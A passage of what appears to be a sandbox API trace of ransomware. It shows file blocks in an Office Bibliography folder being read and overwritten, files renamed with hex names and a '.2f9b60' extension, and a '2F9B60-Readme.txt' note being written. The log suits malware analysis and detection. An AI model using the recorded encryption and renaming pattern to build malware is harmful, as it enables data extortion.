lpBuffer=0x42b7ced0*, lpNumberOfBytesWritten=0x20a1fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b7ced0) returned 1 [0198.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309f750 [0198.431] SetFilePointerEx (in: hFile=0xffc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.431] WriteFile (in: hFile=0xffc, lpBuffer=0x1cebda80*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x20a1fc90, lpOverlapped=0x0 | out: lpBuffer=0x1cebda80*, lpNumberOfBytesWritten=0x20a1fc90*=0x146, lpOverlapped=0x0) returned 1 [0206.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0206.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb160 [0206.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7550 [0206.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7550) returned 1 [0206.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f160 [0206.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7550 [0206.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7580 [0206.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7580) returned 1 [0206.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb160) returned 1 [0206.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0206.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9eaf0 [0206.605] sprintf (in: _Dest=0x1cd9eaf0, _Format="%c%c" | out: _Dest="a6") returned 2 [0206.605] sprintf (in: _Dest=0x1cd9eaf2, _Format="%c%c" | out: _Dest="08") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eaf4, _Format="%c%c" | out: _Dest="be") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eaf6, _Format="%c%c" | out: _Dest="75") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eaf8, _Format="%c%c" | out: _Dest="b9") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eafa, _Format="%c%c" | out: _Dest="1a") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eafc, _Format="%c%c" | out: _Dest="f7") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eafe, _Format="%c%c" | out: _Dest="31") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eb00, _Format="%c%c" | out: _Dest="80") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eb02, _Format="%c%c" | out: _Dest="95") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eb04, _Format="%c%c" | out: _Dest="76") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eb06, _Format="%c%c" | out: _Dest="bb") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eb08, _Format="%c%c" | out: _Dest="b4") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eb0a, _Format="%c%c" | out: _Dest="ad") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eb0c, _Format="%c%c" | out: _Dest="f6") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eb0e, _Format="%c%c" | out: _Dest="8e") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eb10, _Format="%c%c" | out: _Dest="08") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eb12, _Format="%c%c" | out: _Dest="87") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eb14, _Format="%c%c" | out: _Dest="ca") returned 2 [0206.606] sprintf (in: _Dest=0x1cd9eb16, _Format="%c%c" | out: _Dest="ac") returned 2 [0206.606] RtlInitAnsiString (in: DestinationString=0x20a1fd08, SourceString="a608be75b91af731809576bbb4adf68e0887caac" | out: DestinationString="a608be75b91af731809576bbb4adf68e0887caac") [0206.606] RtlAnsiStringToUnicodeString (in: DestinationString=0x20a1fcd8, SourceString="a608be75b91af731809576bbb4adf68e0887caac", AllocateDestinationString=1 | out: DestinationString="a608be75b91af731809576bbb4adf68e0887caac") returned 0x0 [0206.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x431f9d20 [0206.607] wcscat (in: _Dest=0x202ad080, _Source="a608be75b9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a608be75b9") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a608be75b9" [0206.607] wcscat (in: _Dest=0x202ad080, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a608be75b9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a608be75b9.2f9b60" [0206.607] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a608be75b9.2f9b60", NtPathName=0x20a1fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a608be75b9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x4310b900 [0209.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310b900) returned 1 [0209.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecea40) returned 1 [0209.125] NtQueryInformationFile (in: FileHandle=0xffc, IoStatusBlock=0x20a1fd18, FileInformation=0x20a1fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20a1fd18, FileInformation=0x20a1fd28) returned 0x0 [0209.125] NtSetInformationFile (FileHandle=0xffc, IoStatusBlock=0x20a1fd18, FileInformation=0x20a1fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad080) returned 1 [0216.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f9d20) returned 1 [0216.370] FlushFileBuffers (hFile=0xffc) returned 1 [0216.372] CloseHandle (hObject=0xffc) returned 1 [0219.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd64c60 [0219.459] wcscpy (in: _Dest=0x1cd64c60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0219.459] wcscat (in: _Dest=0x1cd64c60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" [0219.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\2f9b60-readme.txt")) returned 0xffffffff [0219.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160c [0226.526] WriteFile (in: hFile=0x160c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x20a1fbd0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x20a1fbd0*=0xba9, lpOverlapped=0x0) returned 1 [0227.046] CloseHandle (hObject=0x160c) returned 1 [0234.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64c60) returned 1 [0234.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c0b0) returned 1 Thread: id = 1532 os_tid = 0x1a44 [0121.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690nmerical.xsl")) returned 0x20 [0121.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690Nmerical.XSL", dwFileAttributes=0x20) returned 1 [0121.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690nmerical.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdb8 [0121.537] GetFileSizeEx (in: hFile=0xdb8, lpFileSize=0x20bafb40 | out: lpFileSize=0x20bafb40*=257647) returned 1 [0121.537] SetFilePointerEx (in: hFile=0xdb8, liDistanceToMove=0x3ee6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.537] ReadFile (in: hFile=0xdb8, lpBuffer=0x20bafac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20bafb08, lpOverlapped=0x0 | out: lpBuffer=0x20bafac0*, lpNumberOfBytesRead=0x20bafb08*=0x4, lpOverlapped=0x0) returned 1 [0122.298] SetFilePointerEx (in: hFile=0xdb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a90 [0122.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9760 [0122.298] NtQuerySystemTime (in: CurrentTime=0x20bafa00 | out: CurrentTime=0x20bafa00*=132462177276778000) returned 0x0 [0122.298] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x7c0931ae [0122.298] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x595e5420 [0122.298] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x1cf27094 [0122.298] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x61ac33fe [0122.298] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x6673fe35 [0122.298] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x7a2a6328 [0122.298] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x7683b1e5 [0122.298] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x1b627d5e [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x165ef280 [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x521aaf64 [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x165ef280 [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x69c5ff5b [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x9c7e76f [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x6d52f2c0 [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x4e8bde08 [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x61ac33fe [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x6ab7e647 [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x6d52f2c0 [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x21e457da [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x30f19b8b [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x76557e96 [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x1b627d5e [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x58a33257 [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x53f30fa1 [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x1d5cc17d [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x28f9525e [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x6a5cbb0d [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x6654135 [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0xbe47433 [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x478e3069 [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x1e783522 [0122.299] RtlRandomEx (in: Seed=0x20baf9f0 | out: Seed=0x20baf9f0) returned 0x30690ef3 [0124.486] SetFilePointerEx (in: hFile=0xdb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.487] ReadFile (in: hFile=0xdb8, lpBuffer=0x41ffd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20bafa60, lpOverlapped=0x0 | out: lpBuffer=0x41ffd170*, lpNumberOfBytesRead=0x20bafa60*=0x3c00, lpOverlapped=0x0) returned 1 [0124.868] SetFilePointerEx (in: hFile=0xdb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4e0 [0124.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4e0) returned 1 [0124.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b71d40 [0124.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4e0 [0124.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0124.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b230) returned 1 [0124.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.869] WriteFile (in: hFile=0xdb8, lpBuffer=0x41b71d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20bafa60, lpOverlapped=0x0 | out: lpBuffer=0x41b71d40*, lpNumberOfBytesWritten=0x20bafa60*=0x3c00, lpOverlapped=0x0) returned 1 [0166.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b71d40) returned 1 [0166.167] SetFilePointerEx (in: hFile=0xdb8, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.167] ReadFile (in: hFile=0xdb8, lpBuffer=0x41ffd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20bafa60, lpOverlapped=0x0 | out: lpBuffer=0x41ffd170*, lpNumberOfBytesRead=0x20bafa60*=0x3c00, lpOverlapped=0x0) returned 1 [0166.246] SetFilePointerEx (in: hFile=0xdb8, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0166.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0166.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a10a0 [0166.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a10a0) returned 1 [0166.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429dae50 [0166.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a10a0 [0166.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0fe0 [0166.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0fe0) returned 1 [0166.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0166.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0166.248] WriteFile (in: hFile=0xdb8, lpBuffer=0x429dae50*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20bafa60, lpOverlapped=0x0 | out: lpBuffer=0x429dae50*, lpNumberOfBytesWritten=0x20bafa60*=0x3c00, lpOverlapped=0x0) returned 1 [0187.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429dae50) returned 1 [0187.246] SetFilePointerEx (in: hFile=0xdb8, liDistanceToMove=0x3b26f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.246] ReadFile (in: hFile=0xdb8, lpBuffer=0x41ffd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20bafa60, lpOverlapped=0x0 | out: lpBuffer=0x41ffd170*, lpNumberOfBytesRead=0x20bafa60*=0x3c00, lpOverlapped=0x0) returned 1 [0187.580] SetFilePointerEx (in: hFile=0xdb8, liDistanceToMove=0x3b26f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b930 [0187.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0187.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d70 [0187.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0d70) returned 1 [0187.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4224b5f0 [0187.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d70 [0187.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134780 [0187.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134780) returned 1 [0187.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0187.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b930) returned 1 [0187.929] WriteFile (in: hFile=0xdb8, lpBuffer=0x4224b5f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20bafa60, lpOverlapped=0x0 | out: lpBuffer=0x4224b5f0*, lpNumberOfBytesWritten=0x20bafa60*=0x3c00, lpOverlapped=0x0) returned 1 [0205.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4224b5f0) returned 1 [0205.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431a02b0 [0205.413] SetFilePointerEx (in: hFile=0xdb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.413] WriteFile (in: hFile=0xdb8, lpBuffer=0x134260*, nNumberOfBytesToWrite=0x156, lpNumberOfBytesWritten=0x20bafb10, lpOverlapped=0x0 | out: lpBuffer=0x134260*, lpNumberOfBytesWritten=0x20bafb10*=0x156, lpOverlapped=0x0) returned 1 [0208.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0208.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb360 [0208.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dab0 [0208.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dab0) returned 1 [0208.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x2050dab0 [0208.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050da80 [0208.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050da20 [0208.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050da20) returned 1 [0208.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb360) returned 1 [0208.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0208.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1ced5e00 [0208.943] sprintf (in: _Dest=0x1ced5e00, _Format="%c%c" | out: _Dest="ce") returned 2 [0208.943] sprintf (in: _Dest=0x1ced5e02, _Format="%c%c" | out: _Dest="a8") returned 2 [0208.943] sprintf (in: _Dest=0x1ced5e04, _Format="%c%c" | out: _Dest="37") returned 2 [0208.943] sprintf (in: _Dest=0x1ced5e06, _Format="%c%c" | out: _Dest="eb") returned 2 [0208.943] sprintf (in: _Dest=0x1ced5e08, _Format="%c%c" | out: _Dest="c4") returned 2 [0208.943] sprintf (in: _Dest=0x1ced5e0a, _Format="%c%c" | out: _Dest="79") returned 2 [0208.943] sprintf (in: _Dest=0x1ced5e0c, _Format="%c%c" | out: _Dest="94") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e0e, _Format="%c%c" | out: _Dest="31") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e10, _Format="%c%c" | out: _Dest="5d") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e12, _Format="%c%c" | out: _Dest="f8") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e14, _Format="%c%c" | out: _Dest="69") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e16, _Format="%c%c" | out: _Dest="c4") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e18, _Format="%c%c" | out: _Dest="0c") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e1a, _Format="%c%c" | out: _Dest="63") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e1c, _Format="%c%c" | out: _Dest="97") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e1e, _Format="%c%c" | out: _Dest="88") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e20, _Format="%c%c" | out: _Dest="b0") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e22, _Format="%c%c" | out: _Dest="7d") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e24, _Format="%c%c" | out: _Dest="e7") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e26, _Format="%c%c" | out: _Dest="08") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e28, _Format="%c%c" | out: _Dest="c5") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e2a, _Format="%c%c" | out: _Dest="a1") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e2c, _Format="%c%c" | out: _Dest="2a") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e2e, _Format="%c%c" | out: _Dest="8d") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e30, _Format="%c%c" | out: _Dest="1b") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e32, _Format="%c%c" | out: _Dest="17") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e34, _Format="%c%c" | out: _Dest="5f") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e36, _Format="%c%c" | out: _Dest="ae") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e38, _Format="%c%c" | out: _Dest="dd") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e3a, _Format="%c%c" | out: _Dest="47") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e3c, _Format="%c%c" | out: _Dest="7d") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e3e, _Format="%c%c" | out: _Dest="ba") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e40, _Format="%c%c" | out: _Dest="75") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e42, _Format="%c%c" | out: _Dest="67") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e44, _Format="%c%c" | out: _Dest="12") returned 2 [0208.944] sprintf (in: _Dest=0x1ced5e46, _Format="%c%c" | out: _Dest="31") returned 2 [0208.944] RtlInitAnsiString (in: DestinationString=0x20bafb88, SourceString="cea837ebc47994315df869c40c639788b07de708c5a12a8d1b175faedd477dba75671231" | out: DestinationString="cea837ebc47994315df869c40c639788b07de708c5a12a8d1b175faedd477dba75671231") [0208.945] RtlAnsiStringToUnicodeString (in: DestinationString=0x20bafb58, SourceString="cea837ebc47994315df869c40c639788b07de708c5a12a8d1b175faedd477dba75671231", AllocateDestinationString=1 | out: DestinationString="cea837ebc47994315df869c40c639788b07de708c5a12a8d1b175faedd477dba75671231") returned 0x0 [0208.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x43183ee0 [0208.945] wcscat (in: _Dest=0x43116ba0, _Source="cea837ebc47994315d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\cea837ebc47994315d") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\cea837ebc47994315d" [0208.945] wcscat (in: _Dest=0x43116ba0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\cea837ebc47994315d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\cea837ebc47994315d.2f9b60" [0208.945] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\cea837ebc47994315d.2f9b60", NtPathName=0x20bafb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\cea837ebc47994315d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1ced0c80 [0226.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0c80) returned 1 [0226.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430ab0f0) returned 1 [0226.735] NtQueryInformationFile (in: FileHandle=0xdb8, IoStatusBlock=0x20bafb98, FileInformation=0x20bafba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20bafb98, FileInformation=0x20bafba8) returned 0x0 [0226.735] NtSetInformationFile (FileHandle=0xdb8, IoStatusBlock=0x20bafb98, FileInformation=0x20bafba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0234.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43116ba0) returned 1 [0234.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43183ee0) returned 1 [0234.735] FlushFileBuffers (hFile=0xdb8) returned 1 [0238.167] CloseHandle (hObject=0xdb8) returned 1 [0240.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431464b0 [0240.401] wcscpy (in: _Dest=0x431464b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" | out: 